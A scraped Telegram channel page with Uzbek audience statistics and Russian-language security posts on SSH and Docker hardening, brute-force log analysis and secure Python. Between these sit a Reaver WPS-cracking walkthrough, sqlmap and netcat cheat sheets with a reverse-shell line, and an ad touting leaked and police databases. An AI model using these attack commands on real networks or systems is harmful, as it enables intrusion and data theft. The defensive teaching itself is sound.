CodeGuard: CyberSec Edition
Канал по ИБ и этичному хакингу. Связь: @Arakcheev_Ruslan Ссылка: @invite_CodeGuard Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy
Ko'proq ko'rsatish📈 Telegram kanali CodeGuard: CyberSec Edition analitikasi
CodeGuard: CyberSec Edition kanali faol ishtirokchi. Hozirda hamjamiyat 12 526 obunachidan iborat bo'lib, Texnologiyalar & Aralashmalar toifasida 10 134-o'rinni va Rossiya mintaqasida 52 701-o'rinni egallagan.
📊 Auditoriya ko‘rsatkichlari va dinamika
невідомо sanasidan buyon loyiha tez o‘sib, 12 526 obunachiga ega bo‘ldi.
20 Iyun, 2026 dagi oxirgi ma’lumotlarga ko‘ra kanal barqaror faollikka ega. Oxirgi 30 kunda obunachilar soni 517 ga, so‘nggi 24 soatda esa 50 ga o‘zgardi va umumiy qamrov yuqori darajada qolmoqda.
- Tasdiqlash holati: Tasdiqlanmagan
- Jalb etish (ER): Auditoriya o‘rtacha 12.15% darajada jalb etiladi. Nashrdan keyingi dastlabki 24 soatda kontent odatda umumiy obunachilar sonining 6.95% ini tashkil etuvchi reaksiyalarni to‘playdi.
- Post qamrovi: Har bir post o‘rtacha 1 522 marta ko‘riladi; birinchi sutkada odatda 871 ta ko‘rish yig‘iladi.
- Reaksiyalar va o‘zaro ta’sir: Auditoriya faol: har bir postga o‘rtacha 4 ta reaksiya keladi.
- Tematik yo‘nalishlar: Kontent codeguard, pysec, docker, grep, контейнер kabi asosiy mavzularga jamlangan.
📝 Tavsif va kontent siyosati
Muallif resursni shaxsiy fikrni ifoda etish maydoni sifatida ta’riflaydi:
“Канал по ИБ и этичному хакингу.
Связь: @Arakcheev_Ruslan
Ссылка: @invite_CodeGuard
Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy”
Yuqori yangilanish chastotasi (oxirgi ma’lumot 21 Iyun, 2026 da olingan) sababli kanal doimo dolzarb va katta qamrovli bo‘lib qoladi. Analitika auditoriya kontent bilan faol hamkorlik qilishini, uni Texnologiyalar & Aralashmalar toifasidagi muhim ta’sir nuqtasiga aylantirishini ko‘rsatadi.
🔵Telegram: все данные на серверах Павла Дурова 🔵Signal: все данные у Open Whisper Systems 🔵Вас взломали? Все чаты слили.Как работает на железе: Каждое сообщение — это JSON-событие с цепочкой хешей:
{
"type": "m.room.message",
"content": {
"msgtype": "m.text",
"body": "Зашифрованное сообщение"
},
"sender": "@user:matrix.org",
"room_id": "!abc123:matrix.org",
"event_id": "$event_hash",
"origin_server_ts": 1735430400000
}
Каждый сервер хранит полную историю комнаты, которую он знает. Удалить сообщение нельзя (у всех остаётся копия), но можно редактировать (новое событие поверх старого).
E2EE: не как Signal, а лучше
🔵Signal: одна комната = один ключ 🔴Matrix: использует обновляемую цепочку ключей (Megolm ratchet), где ключ для расшифровки меняется с каждым сообщением, обеспечивая forward secrecy на уровне сессииOlm/Megolm — криптография:
🔵Cross-signing: если доверяю устройству А, автоматически доверяю всем его друзьям 🔵Key backups: зашифрованная бэкап-фраза в облаке, можешь восстановить ключи на новом девайсе 🔵Forward secrecy: даже если взломают один ключ, старые сообщения не расшифруются⚠️ Честно о минусах:
🔴Метаданные (кто с кем в комнате, когда пишет) видны homeserver 🔴Федерация = сложнее аудит. Ненадёжный сервер может логировать всё 🔴Синхронизация комнат может лагать при 10K+ юзеровИнтересный факт: Французская армия мигрировала на Matrix для classified communications. Это не хипстерский эксперимент — это real-world е2ee infrastructure для госучреждений. Немецкое министерство обороны то же самое. 😈 CodeGuard: PySec Edition | Чат
🔴Понимание этических и правовых основ хакинга — зачем нужен пентест и как остаться в правовом поле. 🔴Основы работы с Metasploit Framework — структура, модули, полезные команды и workflow. 🔴 Изучение типов атак и уязвимостей — от сканирования до эксплуатации. 🔴 Настройка безопасной лаборатории для практики — виртуальные машины, песочницы и шаблоны тестовых сетей. 🔴 Реальные кейсы: имитация атак и анализ результатов без ущерба для реальных систем. 🔴 Пошаговое выполнение теста безопасности: поиск, эксплуатация, постэксплуатация, отчет. 🔴 Навык читать и понимать отчеты пентестов и переводить технику в рекомендации по защите.😈 CodeGuard: PySec Edition | Чат
🔵Архитектура IoT и типовые протоколы (MQTT, CoAP, BLE, ZigBee) 🔵Анализ микроконтроллеров, прошивок и бинарей под ARM и MIPS 🔵Тестирование безопасности — от UART и JTAG до сетевых эксплойтов 🔵Разбор реальных кейсов атак на камеры, роутеры и умные колонкиДля кого:
🔴Реверс-инженеров и исследователей IoT 🔴ИБ-специалистов, работающих с встраиваемыми системами 🔴Пентестеров, автоматизаторов и энтузиастов hardware hacking👩💻 Кликай и качай 😈 CodeGuard: PySec Edition | Чат
🔴Ключи без passphrase = мгновенный доступ без вопросов 🔴authorized_keys с неправильными правами доступа 🔴Нет ротации: ключ от стажировщика 2023 года до сих пор валяется 🔴GitHub/сервисы скомпрометированы → твои приватные ключи в даркнете7 шагов, чтобы SSH не стал дырой в кармане 1️⃣ Проверь права на ключи
find ~/.ssh -type f -name "id_*" -exec chmod 600 {} \;
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys # Только владелец может читать и писать
Никому кроме владельца не должно быть доступа на запись.
2️⃣ Добавь passphrase ко всем ключам
ssh-keygen -p -f ~/.ssh/id_rsa
Без passphrase ключ — бесполезен в чужих руках, но = полный доступ в твоих.
3️⃣ Отключи пароли в SSH
sudo nano /etc/ssh/sshd_config
Найди и отредактируй эти строки:
PasswordAuthentication no PermitRootLogin no PubkeyAuthentication yesЗатем перезагрузи сервис:
sudo systemctl restart sshd
4️⃣ Аудит authorized_keys
# Просмотри все добавленные ключи и их отпечатки
ssh-keygen -lf ~/.ssh/authorized_keys
# Или посмотри содержимое вручную
cat ~/.ssh/authorized_keys
# Проверь время последнего доступа к файлу
stat ~/.ssh/authorized_keys
Вручную проверь: кто эти ключи добавил? Когда? Откуда? Если видишь ключи, которых не признаёшь — удали их немедленно.
5️⃣ Ротация ключей (каждые 90 дней)
# Генерируем новый ключ
ssh-keygen -t ed25519 -C "admin@2025-12" -f ~/.ssh/id_ed25519_new
# Добавляем на все сервера
ssh-copy-id -i ~/.ssh/id_ed25519_new.pub user@server
# Тестируем подключение с новым ключом
ssh -i ~/.ssh/id_ed25519_new user@server
# После проверки: удаляем старый ключ из authorized_keys на всех серверах
Старые ключи = вчерашние новости. Регулярная ротация снижает окно уязвимости.
6️⃣ Fail2ban для защиты от brute-force
sudo apt install fail2ban
sudo nano /etc/fail2ban/jail.local
Добавь секцию:
[ssh] enabled = true port = sshd maxretry = 3Перезагрузи fail2ban:
sudo systemctl restart fail2ban
Блокирует IP автоматически после N неудачных попыток.
7️⃣ Мониторинг логинов SSH
На современных системах (systemd):
# Мониторь в реальном времени
journalctl -u ssh -f | grep "Accepted publickey"
# Или смотри историю
journalctl -u ssh -o short-iso -r | grep "Accepted publickey"
На старых системах (syslog):
# Для Debian/Ubuntu
grep "Accepted publickey" /var/log/auth.log
# Для RHEL/CentOS
grep "Accepted publickey" /var/log/secure
В crontab (ежедневные отчёты):
# Добавь в crontab
0 6 * * * journalctl -u sshd --since today -o short | grep "Accepted publickey" | mail -s "SSH логины за день" admin@domain.com
💥 Реальный кейс: Админ забыл удалить ключ уволенного devops. Через 8 месяцев тот зашёл ночью и слил всю БД.
😈 CodeGuard: PySec Edition | Чатsudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
sudo nano /etc/ssh/sshd_config
2️⃣Запрет root и паролей
PermitRootLogin no PasswordAuthentication no PubkeyAuthentication yes3️⃣Ограничение по IP (AllowUsers)
# Только с вашего офиса и VPS AllowUsers admin@192.168.1.100 admin@203.0.113.5 deploy@10.0.0.50 # Или подсети AllowUsers *@203.0.113.0/24Root всё равно заблокирован, но можно @ваш_IP для root при необходимости. 4️⃣Смена порта (обязательно)
Port 2222Боты сканируют 22, ваш 2222 игнорят. Откройте в ufw: sudo ufw allow 2222/tcp 5️⃣Современные алгоритмы 2025
# Только сильные шифры Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com KexAlgorithms curve25519-sha256,[email protected]6️⃣Таймауты и лимиты
ClientAliveInterval 300 ClientAliveCountMax 0 MaxAuthTries 3 LoginGraceTime 30 MaxSessions 2🔑 Генерация и настройка ключей На локальной машине:
ssh-keygen -t ed25519 -C "admin@server" -f ~/.ssh/server_key
ssh-copy-id -i ~/.ssh/server_key.pub [email protected] -p 2222
Права на сервере:
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
chown -R $USER:$USER ~/.ssh
✅Тестирование перед рестартом
sudo sshd -t
# синтаксис конфига
sshd -T | grep -E "(permitrootlogin|passwordauthentication)"
# эффективные настройки
Подключитесь с нового терминала: ssh -p 2222 admin@server
🔄Применение
sudo systemctl restart sshd
sudo ufw deny 22 # закройте старый порт
sudo ufw reload
🚨Fail2ban как вишенка
sudo apt install fail2ban
sudo systemctl enable fail2ban
В /etc/fail2ban/jail.local:
[sshd] enabled = true port = 2222💥Результат: 0% брутфорса, только ваши ключи с ваших IP. Логи чистые. 😈 CodeGuard: PySec Edition | Чат
sudo grep "Failed password" /var/log/auth.log
Выдаст все проваленные SSH-пароли с IP, пользователем и временем. Типичная строка:
Dec 28 10:22:15 server sshd[1234]: Failed password for root from 185.234.217.12 port 54321 ssh2
2️⃣Топ-10 самых активных IP-атакующих
sudo grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head -10
Пример вывода:
247 185.234.217.12 189 94.102.49.180 156 45.79.123.45185.234.217.12 сделал 247 попыток за день. Блокировать срочно. 3️⃣Популярные цели брутфорса (пользователи)
sudo grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | head
Обычно: root (89%), ubuntu (5%), admin (3%). Если видите mysql/postgres значит бот-сканер.
4️⃣Успешные входы после брутфорса (самое страшное)
sudo grep "Accepted password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr
Если IP из топа неудач вдруг "Accepted" значит пароль угадали. Меняйте немедленно.
5️⃣Брутфорс за последние 24 часа
sudo grep "Failed password" /var/log/auth.log | grep "$(date -d '1 day ago' '+%b %d')"
Фильтр по дате. Для старых логов: zgrep на .gz файлах.
6️⃣One-liner мониторинг в реальном времени
sudo tail -f /var/log/auth.log | grep --line-buffered "Failed password\|Accepted"
Видишь поток неудач? Боты работают. "Accepted" = паника.
⚙️ Автоматизация анализа скрипт /usr/local/bin/bruteforce-report.sh
#!/bin/bash
echo "=== БРУТФОРС РЕПОРТ $(date) ==="
echo "Топ IP:"
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head -5
echo "Успешные входы:"
grep "Accepted password" /var/log/auth.log | tail -10
chmod +x и watch -n 300 ./bruteforce-report.sh
🚨Что делать при находке:
🔴fail2ban-client status sshd проверить блокировки 🔴iptables -L | grep DROP ручные баны 🔴SSH-ключи вместо паролей 🔴Port 2222 + PermitRootLogin no💥За час анализа поймёте, кто ломится и насколько агрессивно. Без fail2ban сервер тонет в атаках. 😈 CodeGuard: PySec Edition | Чат
{…устанавливаю личность…}
⌛️ loading . . .
{…
сканирую слитые базы…
}
доступ ✅ разрешён
🎥 системы распознавания лиц
👁️ базы правоохранителей
📁 утилиты для взлома слежки
↑ ↓
Добро пожаловать на самый продвинутый ресурс по кибербезопасности и хакингу
C O N И E C T ⇢ @TechLabsudo airmon-ng start wlan0 # mon0 готов к охоте
sudo airmon-ng check kill # убиваем мешающие процессы
⚪️Шаг 2: Ищем жертву с WPS
sudo wash -i wlan0mon --ignore-locked
Ищем сети с WPS Locked: No — вот они, наши цели!
⚪️ Шаг 3: Лобовая атака Reaver
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -c 6 -K 1
- -vv — спамит логами, чтобы видеть прогресс
- -c 6 — фиксируем канал (из wash)
- -K 1 — stealth mode против блокировок
🔥 Мои настройки для стабильности:
--no-timeout # не сбрасывать при глюках --dh-small # быстрее, но чуть менее надежно --force-ns-noresp # игнорируем неответы⏱️ Результат: TP-Link пал за 4:17. D-Link продержался 7 часов. ⚠️ Важно: - WPS Locked = игра окончена, роутер заблокировал атаки - Качество сигнала > -60dB, иначе тормоза - Pixie Dust атака (pixiewps) может сократить до минут! 🛡 Защита (сразу после теста): 1. Отключи WPS в настройках роутера 2. Поменяй пароль на 20+ символов 3. Обнови прошивку (часто фиксит WPS) 📱 Посмотреть код 😈 CodeGuard: PySec Edition | Чат
🔹 Борьба с атаками по сети: взломы вебок, эксплуатация уязвимостей, малварь, DDoS. 🔹 Технологии: firewall, IDS/IPS, EDR, WAF, анти‑DDoS, SIEM, мониторинг логов и трафика. 🔹Условно: КБ следит, чтобы «хакер не залез в сервак и не унёс базу по сети».Что такое информационная безопасность (ИБ) Информационная безопасность = защита информации в любом виде: в базе, в бумажке, на флешке и в голове сотрудника. Что сюда входит:
🔵 Конфиденциальность, целостность и доступность данных (CIA‑триада). 🔵 Политики, регламенты, классификация данных, физическая защита, пропуска, сейфы, DLP, комплаенс (152‑ФЗ, GDPR и т.п.). 🔵Условно: ИБ следит, чтобы «секрет не утёк ни по сети, ни через флешку, ни через фотку экрана в Telegram».Как это всё стыкуется❔
🔴 КБ — подмножество ИБ: вся кибербезопасность — это часть большой системы информационной безопасности. |🔴 КБ закрывает технику (сети, сервера, софт), ИБ строит рамки: кто к чему имеет доступ, какие данные критичны, какие риски мы вообще принимаем.Если по‑простому:
👉 Хочешь ковырять трафик, эксплойты и логи — это больше КБ. 👉 Хочешь рисовать модели угроз, писать политики, заниматься рисками и комплаенсом — это уже ИБ.😈 CodeGuard: PySec Edition | Чат
docker run --user 1000:1000 image
2️⃣ Включи user namespace remapping в /etc/docker/daemon.json:
{
"userns-remap": "dockeruser:dockeruser"
}
Это изолирует UID 0 (root внутри контейнера) от root на хосте.
Теперь даже “root” в контейнере не сможет повредить систему.
🖥 Проблема 2: Случайные образы с Docker Hub
Случайный образ из интернета может скрывать майнер или троян.
docker scan больше не спасёт — команда устарела.
Решение:
trivy image myimage # Анализ уязвимостей docker history myimage # Проверка слоёв
✔️Используй только официальные образы или Verified Publishers. ✔️Проверяй образ перед включением в production.🔐 Проблема 3: Контейнер с лишними привилегиями Каждый контейнер по умолчанию получает 30+ системных capabilities — больше, чем нужно. Решение:
docker run --cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \ # если нужен порт < 1024
--read-only \
--pids-limit 100 \
image
--cap-drop=ALL — забирает все привилегии.
--cap-add=NET_BIND_SERVICE — даёт только возможность слушать порты 80/443.
--read-only — защищает root FS от записи.
--pids-limit — ограничивает количество процессов, предотвращая fork-bomb.
📄Проблема 4: Секреты в Dockerfile
# ПЛОХО
FROM ubuntu
RUN echo "password=secret123" > /app/config.txt
Пароль навсегда сохранится в истории слоёв.
Решение:
🔴Для Swarm:
echo "supersecret" | docker secret create db_pass -
docker service create --secret db_pass myimage
🔴Для production без Swarm:
docker run -v /etc/docker-secrets:/run/secrets:ro image
# Внутри контейнера: /run/secrets/db_pass
🔴Для development можно временно использовать переменные:
docker run -e DB_PASS=secret image
⚠️ Не делай это в production — env видно через docker inspect.
🌐 Проблема 5: Порты открыты всему миру
# Плохо: доступна всем
docker run -p 0.0.0.0:5432:5432 postgres
Решение:
# Только локально docker run -p 127.0.0.1:5432:5432 postgres # Или через частную сеть docker network create backend docker run --network backend --name db postgres docker run --network backend appВсегда держи базы и приватные сервисы за Docker Network. 0.0.0.0 безопасно только за фаерволом. 📖 Проблема 6: Потерянные логи Контейнер упал — логи исчезли. Решение:
docker run --log-driver local \
--log-opt max-size=10m \
--log-opt max-file=5 \
image
🔴local безопаснее, чем json-file, и автоматически делает ротацию. 🔴Для production — подключай централизованное логирование (ELK, Loki, Datadog и т.д.).💡Главное правило Помни: Docker - не защита, а ответственность. Контейнер - не клетка, а только слой изоляции. Начни с трёх шагов:
✔️ userns-remap ✔️ --cap-drop=ALL ✔️ --read-onlyЭти три пункта защитят от 80% типичных атак. Остальные — бонусом к спокойному сну Админа 😎 😈 CodeGuard: PySec Edition | Чат
sqlmap -u "http://site.com?id=1" — проверить на инъекцию. sqlmap -u "URL" --dbs — список баз данных. sqlmap -u "URL" -D db -T users --dump — выгрузить таблицу.1️⃣ POST и авторизация:
sqlmap -u "URL" --data="user=admin&pass=123" — POST-параметры. sqlmap -r request.txt — запрос из Burp Suite. sqlmap -u "URL" --cookie="PHPSESSID=abc" — с cookies.2️⃣ Обход WAF:
--tamper=space2comment — замена пробелов. --random-agent — случайный User-Agent. --delay=2 — задержка между запросами.3️⃣ Эксплуатация:
--os-shell — получить шелл на сервере. --file-read="/etc/passwd" — прочитать файл. --passwords — извлечь хеши паролей.4️⃣ Оптимизация:
--threads=10 — параллельные потоки. --batch — автоответ "да" на всё. --level=5 --risk=3 — максимальная глубина.🤔 SQLmap поддерживает 30+ СУБД и имеет 50+ tamper-скриптов для обхода WAF, включая Cloudflare и ModSecurity. 😈 CodeGuard: PySec Edition | Чат
nc [IP] [порт] — подключиться к хосту. nc -lnvp 4444 — слушать входящие соединения. nc -z [IP] 20-100 — быстрое сканирование портов. nc -u [IP] [порт] — работа по UDP.Передача файлов:
nc -l -p 4444 > file.txt — принять файл. nc [IP] 4444 < file.txt — отправить файл.Reverse shell:
nc -e /bin/bash [IP] 4444 — отправить шелл. nc -lnvp 4444 — ловить шелл на своей стороне.Отладка:
nc -vz [IP] 443 — проверить, открыт ли порт. echo "GET /" | nc site.com 80 — ручной HTTP-запрос.Флаги:
-n — не резолвить DNS. -v — подробный вывод. -w 3 — таймаут 3 секунды. -k — не закрывать после отключения.Факт: Netcat написан в 1995 году хакером Hobbit. Настолько универсален, что называется "TCP/IP швейцарский нож". 😈 CodeGuard: PySec Edition | Чат
# Плохо: контейнер работает от root
docker run -it ubuntu bash
whoami # root
# Правильно: указать пользователя
docker run -it --user 1000:1000 ubuntu bash
# Или в Dockerfile:
FROM ubuntu
RUN useradd -m appuser
USER appuser
🔹 Проблема: 90% контейнеров в проде работают от root 🔹 Решение: Всегда указывать USER в Dockerfile или --user при запуске2️⃣ Привилегированный режим
# НИКОГДА так не делайте в проде: docker run --privileged nginx # Это даёт контейнеру полный доступ к хосту: # - Все устройства (/dev) # - Возможность монтировать файловые системы # - Отключение всех ограничений # Если нужны конкретные capabilities: docker run --cap-add NET_ADMIN nginx # Вместо --privileged даём только нужное
🔹 Проблема: --privileged используют "чтобы работало", не понимая последствий 🔹 Решение: Использовать --cap-add только для нужных capabilities3️⃣ Монтирование Docker socket
# Популярный антипаттерн для CI/CD: docker run -v /var/run/docker.sock:/var/run/docker.sock myapp # Что может сделать атакующий: docker run -v /:/host -it alpine chroot /host # Полный доступ к файловой системе хоста!
🔹 Проблема: Docker socket = root доступ к хосту 🔹 Решение: Использовать Docker-in-Docker или rootless Docker4️⃣ Образы из непроверенных источников
# Проверить образ на уязвимости: docker scout cves nginx:latest # Или использовать Trivy: trivy image nginx:latest # Сканирование покажет: # CVE-2023-XXXX HIGH openssl 1.1.1k # CVE-2023-YYYY CRITICAL curl 7.74.0
🔹 Проблема: Образы с Docker Hub могут содержать malware или уязвимости 🔹 Решение: Использовать официальные образы, сканировать перед деплоем5️⃣ Секреты в переменных окружения
# Плохо: пароль виден всем docker run -e DB_PASSWORD=supersecret myapp # Любой процесс видит переменные: docker exec container cat /proc/1/environ # Правильно: Docker secrets echo "supersecret" | docker secret create db_pass - docker service create --secret db_pass myapp # Или монтировать файл: docker run -v ./secrets:/run/secrets:ro myapp
🔹 Проблема: Переменные окружения логируются, видны в docker inspect 🔹 Решение: Docker secrets, HashiCorp Vault, файлы с правильными правами6️⃣ Отсутствие лимитов ресурсов
# Контейнер может съесть всю память хоста:
docker run -d memhog # Fork bomb = хост падает
# Установить лимиты:
docker run -d \
--memory=512m \
--memory-swap=512m \
--cpus=0.5 \
--pids-limit=100 \
nginx
🔹 Проблема: Один контейнер может положить весь хост 🔹 Решение: Всегда ставить --memory, --cpus, --pids-limitЧек-лист безопасности Docker:
✔️ Контейнеры работают не от root ✔️ Никакого --privileged в проде ✔️ Docker socket не монтируется ✔️ Образы сканируются на уязвимости ✔️ Секреты не в ENV переменных ✔️ Установлены лимиты ресурсов ✔️ Используется read-only filesystem где возможно ✔️ Сеть изолирована (не --network host)😈 CodeGuard: PySec Edition | Чат
# Так делают "для удобства"
user_input = request.get("calc")
result = eval(user_input) # Пользователь вводит: __import__('os').system('rm -rf /')
# Безопасная альтернатива для математики:
import ast
result = ast.literal_eval(user_input) # Только литералы
🔹 Проблема: Выполняет произвольный код от имени вашего приложения 🔹 Решение: ast.literal_eval() или специализированные парсеры2️⃣ pickle — десериализация смерти
# Загрузка данных из кэша/файла
import pickle
data = pickle.loads(user_data) # RCE в одну строку
# Атакующий отправляет:
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('whoami',))
payload = pickle.dumps(Exploit())
🔹 Проблема: pickle выполняет код при десериализации 🔹 Решение: JSON, или hmac для подписи pickle-данных
import json
data = json.loads(user_data) # Безопасно
3️⃣ subprocess с shell=True
# Опасно: shell injection
filename = request.get("file")
subprocess.call(f"cat {filename}", shell=True)
# Ввод: "; rm -rf /"
# Безопасно: передавать список аргументов
subprocess.call(["cat", filename], shell=False)
🔹 Проблема: shell=True позволяет инъекцию команд 🔹 Решение: Всегда shell=False и список аргументов4️⃣ yaml.load() без Loader
# Старый код — уязвим
import yaml
config = yaml.load(user_file) # RCE через YAML
# Правильно:
config = yaml.safe_load(user_file)
🔹 Проблема: PyYAML по умолчанию выполняет Python-объекты 🔹 Решение: Только yaml.safe_load()5️⃣ SQL без параметризации
# Классика жанра
query = f"SELECT * FROM users WHERE id = {user_id}"
# Ввод: 1 OR 1=1; DROP TABLE users;--
# Безопасно:
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
# Или ORM
User.objects.filter(id=user_id)
🔹 Проблема: SQL-инъекция — топ-1 уязвимость уже 20 лет 🔹 Решение: Параметризованные запросы, ORM6️⃣ os.path.join() с абсолютным путём
# Ожидание: /var/uploads/file.txt
# Реальность:
os.path.join("/var/uploads", "/etc/passwd")
# Результат: /etc/passwd — path traversal!
# Защита:
import os
base = "/var/uploads"
filename = os.path.basename(user_input) # Убирает путь
full_path = os.path.join(base, filename)
if not os.path.abspath(full_path).startswith(base):
raise SecurityError("Path traversal detected")
7️⃣ hashlib для паролей
# Неправильно:
password_hash = hashlib.sha256(password.encode()).hexdigest()
# Правильно: bcrypt с солью и work factor
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
🔹 Проблема: SHA256 слишком быстрый — GPU перебирает миллиарды хешей в секунду 🔹 Решение: bcrypt, argon2, scrypt — медленные по дизайнуЧек-лист безопасного Python:
✔️ Никаких eval/exec с пользовательским вводом ✔️ JSON вместо pickle для внешних данных ✔️ subprocess только с shell=False ✔️ yaml.safe_load() всегда ✔️ Параметризованные SQL-запросы ✔️ Валидация путей файлов ✔️ bcrypt/argon2 для паролей ✔️ bandit в CI/CD для автопроверки
# Сканер уязвимостей для Python
pip install bandit
bandit -r your_project/
🤔 Код, который "просто работает" — это код, который просто ждёт своего хакера.
😈 CodeGuard: PySec Edition | Чат
Endi mavjud! Telegram Tadqiqoti 2025 — yilning asosiy insaytlari 
